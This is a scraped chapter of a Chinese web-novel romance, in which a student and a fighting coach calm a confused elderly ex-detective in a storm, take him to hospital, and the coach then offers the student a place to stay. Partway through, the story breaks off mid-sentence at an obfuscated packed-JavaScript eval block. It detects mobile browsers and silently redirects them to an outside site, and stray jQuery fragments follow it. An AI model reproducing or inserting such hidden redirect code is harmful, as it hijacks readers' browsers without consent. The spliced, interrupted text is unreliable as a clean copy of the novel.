18.第 18 章
作品:《和搏击教练疯狂一夜后》 大雨还在疯狂地敲打车间的顶棚,老人似乎终于下定了决心。
他缓缓穿过车间,在破旧的门前深深吸了一口气,重心向下沉了沉,似乎就要冲入瓢泼大雨之中。
温阮不由自主地吸了口气,正要叫住他,肩膀上被重重按了一下,宴凌舟已从躲藏处跳了出去。
可他还没赶到梁建中身后,老刑警却突然转身,摆出了格斗的架势。
“你们果然埋伏在这里,几个大男人为难一个小姑娘,好意思吗?”
宴凌舟脚下一顿,竟有一瞬间的怔忪:“哪有什么小姑娘?”
老刑警眼神严厉:“别掩饰了,我知道你们把她带到这儿来了,我已经叫了支援,快把人交出来。”
宴凌舟叹了口气。
陷入回忆中的老人是听不了劝的,此刻也只能强上了。
他微微躬身,稳住重心,双手放松在身前。
这是柔术里十分典型的起手动作,也是擒拿的初始状态。
老刑警千锤百炼的直觉刹那间觉察出他的意图,老人轻喝一声,竟然抢先蹂身而上。
一边是八十岁的老刑警,另一边则是正值青壮年的搏击冠军,这场战斗其实毫无悬念。
但厂房里到处都是硬邦邦的金属、地上也散落着螺丝螺帽,宴凌舟顾忌着防止老人受伤,还是花了一番功夫。
老刑警被扭住了双手,依然不肯放弃,冲着温阮所在的地方大喊:“姑娘,快跑!他现在抓不着你!”
声如洪钟,震得屋梁上的灰尘簌簌而落,连宴凌舟都被他喊得蓦然松劲,差点让他挣脱。
温阮摸了摸鼻子,有点不好意思地从机器后面站起来,小声辩解:“梁爷爷,这里只有我,没有小姑娘。”
梁建中看见他站起来,突然愣了愣。
或许是少年熟悉的身影带回了碎裂的记忆,又或许是温阮的样子实在不像是歹人,梁建中脱口而出:“小医生?你怎么在这儿?”
“我是来找您的,”温阮走近几步,“我和他,都是来找您回家的。”
老刑警目光一凛:“人质呢?”
看来记忆还是没有恢复,硬劝不是办法。
温阮垂眼,再看向老人,语气肯定:“她已经被您的同事救走,歹徒也抓回去了。”
老人似乎并不相信。
温阮看了眼宴凌舟:“真的,您认错人了。这是您徒弟啊,您不记得了吗?”
眼前的小医生在印象中十分友善,老人本能地相信他说的话,但双手被扭住,又让人十分不爽,梁建中挣扎了一下。
铁钳般的大手依然紧紧箍着他的手腕,老人不耐烦地跺脚:“给我放开!”
可此刻宴凌舟不知道在想什么,竟然在出神。
眼看着老人憋红了脸,温阮想要开口,却突然发现,与宴凌舟相识这么久,他竟然都没有真正称呼过对方。
老人的表情越来越狰狞,温阮情急之下脱口而出:“宴……宴老师?”
别扭的称呼,别扭的语气,把不知道为什么走神的宴凌舟叫回了魂。
他微微抖了一下,扭头看向温阮。
老人似乎又要挣扎,温阮赶紧说:“快放手。”
宴凌舟下意识就松了手。
脱离控制的老刑警立刻避开了宴凌舟的攻击区域,向侧边疾走几步,警惕地看着两人。
一阵风吹过,带起地面的尘土,一小片塑料在地面打转。
“爷爷!老爷子,总算找到你了!”
急促凌乱的脚步声出现在几人身后,梁疏雨的声音尤其高亢。
车间里呼呼啦啦进来好几个人,手里拿着伞,却都淋得跟落汤鸡似的,雨水点点滴滴,把地上的灰尘搅成了泥汤。
街道主任抹了把脸上的雨水,还在不停地喘气:“老梁啊,可算找到你了,咋就跑这儿来了呢?”
突然来了这么多人,老人的表情有点懵,但这些都是熟悉的面孔,他下意识地判断出,这都不是坏人。
但任务还没完成,梁建中倔强地后退两步,像是随时都会再跑走:“我来救人啊!那姑娘……”
梁疏雨一头雾水,跟着的几个人也面面相觑。
街道主任也奇怪:“什么姑娘?咱这片……”
大脑先入为主地按照老人的年龄检索往事,主任一拍脑门:“老梁你弄错了吧,小姑娘的绑架案,不是在游乐场那边吗?”
梁建中脸色一凛,目光在人群中跳动着,做了个转移重心的动作,似乎随时都准备冲入雨幕中。
“等等,”温阮朝街道主任打了个眼色,“人质已经获救了!”
“啊,啊对!”街道主任愣了一下,很快转过弯来,“是已经获救了,我们就是得知了这个消息才来找你的。”
但老刑警依然十分警惕:“人呢?”
一个谎就要用一百个谎来圆。
“在,在我们医院!”温阮硬着头皮撒谎,“我老师就是主治医生,所以派我来跟您说一声,她没事。”
虽然是谎言,但其中也不乏真实信息,大约是对沈既明有深刻的印象,而温阮的模样又太容易让人产生信任,老人此刻乱成一团的脑子,不自觉地就相信了眼前的少年。
但老刑警的警惕性还在,他皱眉想了想,突然向前一步,冲入人群之中,一把钳住了温阮的手腕:“你带我去看看。”
在老人接近少年的那一刻,宴凌舟的身体猛然一震,条件反射就要上前,却被温阮拦住。
温阮的目光看了过来,带着柔柔的安抚的笑意,只一瞬,又看向老人,温声说:“当然啊,我就是来接您的呢!”
就在这时,他的手机响了起来,是沈青禾。
轻柔的歌声在乱七八糟的车间里回荡,与此刻的气氛格格不入,却奇迹般安抚了众人的心。
看着老人再次警惕的眼神,温阮示意老人他要接电话,但不会避着他。
“学弟你现在在哪儿?”沈青禾的声音里透着着急,“我听说老人找着了,现在雨这么大,你跑哪儿去了。”
梁建中竖着耳朵向他看来。
“学姐,我和梁爷爷在一块呢,沈老师在吗?”
大雨的声音如同BGM,从手机中传来,从四面八方传来。
沈既明的声音传来:“我在。”
“我跟梁爷爷正要去医院呢,他说要看看您的病人。”温阮语气镇定,目光却忍不住抬了抬。
梁建中身后,宴凌舟扬了扬手机。
虽然什么也看不清,但莫名就安了心,温阮悄悄放松下来,大大方方地打电话。
沈既明:“来可以,人不要太多,别打扰我的病人休息,路上注意安全。”
温阮应声,看了眼在一旁“偷听”的老人,结束通话。
逻辑上此刻无懈可击,老人已经信了大半,跟着大家开始移动,却依然没有松手。
温阮也不挣扎,反而轻轻扶住老人的胳膊,一边关注着脚下,一边和他说话。
外间依然风雨大作,从钢厂走到马路上时,一行人都湿透了。
秋雨冰冷,湿透的衣服被风吹得冰凉,温阮忍不住打了个寒战。
忽然,一阵暖意贴上后背,是宴凌舟脱了西装外套,轻轻搭在他的肩上。
他的车还停在茶楼附近,一行人浩浩荡荡走在风雨中,好不容易才到了街道办事处附近,看见那辆五座的路特斯Emeya,大家都松了口气。
在梁建中一迭声的催促下,四人上车,梁建中依然攥着温阮不放,梁疏雨犹豫了一下,去了副驾。
宴凌舟皱眉看了眼师父,从后备厢拿出干燥的毛巾和毯子,分给三人。
车辆平稳起步,温阮轻拍老人的手臂:“都上车了您还防着我啊,您身上都淋湿了得赶紧擦擦,这会儿腰疼吗?”
车里没开空调,只有温阮的声音轻轻回荡。冷风凄雨的黄昏里,唯有这里,充满了温柔的暖意。
雨依然很大,路况并不是太好,宴凌舟一只手搭在方向盘上,断断续续的跟车空隙里,目光频频透过后视镜看向后排。
十几分钟后,温阮终于抬眼,冲着他做了个噤声的动作。
毕竟是八十多岁的老人,精神高度紧张一下午,又受了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643735|172293||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
风雨,此刻终于在少年的安抚下睡去。
所有人都松了口气,梁疏雨从前排转过身来,感激地朝温阮点点头。
“我们现在去哪里?”温阮做着口型。
“去医院。”宴凌舟在后视镜里说。
等红灯的时候,他扥着安全带转过身来,看着梁建中睡着了也没放开的手,皱了皱眉。
“没事,”温阮扯过薄毯,搭在老人身上,又拢了拢自己身上的西装外套,轻声说,“你慢慢开,别着急。”
宴凌舟缓缓启动。
原本还在想,刚淋了雨,他冻着了怎么办;被抓了那么久,手腕会不会疼。而此刻,看着拢着自己外套休息的清瘦少年,他又突然觉得,就这样也挺好。
暴雨造成了大面积的交通堵塞,快到医院的时候,已经是晚上八点过。
“梁爷爷体温有点高,”温阮的手腕终于自由,反过来按上老人的脉搏,仔细观察着他的脸色,“他平时血压高吗?都吃什么药?”
梁建中这会儿都迷糊了,一直睡着起不来,温阮测完脉搏安慰了梁疏雨几句,从体征来看老人没什么大碍,这会儿不醒倒也省了他们再演戏。
三人合力把老人送进诊室,温阮向医生详细交代了老人的情况,等到所有的检查做完,已经是晚上十点。
“太感谢了,”梁疏雨拉着温阮的手,“今天要不是你,爷爷他还不知道要惹出什么祸来。”
温阮笑着:“谁让我跟老人投缘呢?也不知道怎么回事,他见了我就困。”
梁疏雨被他逗笑:“那就是真的投缘。不管怎么说,今天多亏你了,过几天他出院了我请你吃饭,可一定得来。”
温阮乖乖地点了点头,把梁疏雨推进病房:“姐姐也早点休息吧,今天都辛苦了,你还要守着梁爷爷。”
病房门外,宴凌舟结账回来,还带来了陪护——一个看起来很勤快的大婶。
“谢啦。”梁疏雨懒洋洋地冲他点点头,“吃饭你也来吧,正好把小温带上,坐地铁太远了。”
走出医院的时候,大雨终于转弱,温阮的手机突然响了起来。
“小软,你怎么还没回?在外面堵车了吗?”钟毅的声音传来,“一会儿要熄灯了。”
“啊!”温阮这才想起宿舍的门禁。
但从医院到A大,至少要跨越半个A市,这会儿无论如何都来不及了。
他无奈的看了眼黑沉沉的天空:“我估计回不去了,有点紧急情况。”
“这样啊,要我跟宿管说一声吗?给你留门?”
都是新生,温阮也不知道该怎么做,下意识地看向宴凌舟。
路灯昏黄,雨丝被风吹得飘散,丝丝缕缕落在男人宽厚的肩上,从温阮的角度看过去,他的脸色有些苍白。
是感冒了吗?
温阮这才想起来,自己还穿着宴凌舟的西装外套,而他自己,轻薄的衬衣早就被雨淋得透湿。
他想把外套脱下来给宴凌舟穿上,却被男人按住。
宴凌舟好像在说什么,可天空中正好滚过一阵闷雷,他没有听清。
“什么?”温阮又靠近了些,下意识地将耳廓凑近他的唇边,却听见了他呼吸中微微的颤抖。
真的病了啊?
温阮刚想要开口,宴凌舟却吸了口气,话音沉稳:“联系辅导员说明情况,同时让你室友给宿管报备。明天再补纸质手续,说明情况就行,沈既明和青协会长都可以作为见证人签字。”
“哦。”温阮点点头,快速给钟毅重复了一遍,挂上电话。
“你……”他有点担心地看着宴凌舟,“要去挂个号看看吗?”
男人摇头:“没事,我也不冷。”
他拢好少年身上的西装外套,又看了眼不远处的雨幕:“你晚上怎么打算?”
温阮耸了耸肩:“没事啊,随便找个网吧或者酒店将就一晚,明天一早回学校就行。”
宴凌舟的手还拉着西装的衣领,指尖在衣襟的硬边上摩挲片刻:“晚上住我那儿吧,离这里不远。”
“只是去休息。”他又补上一句。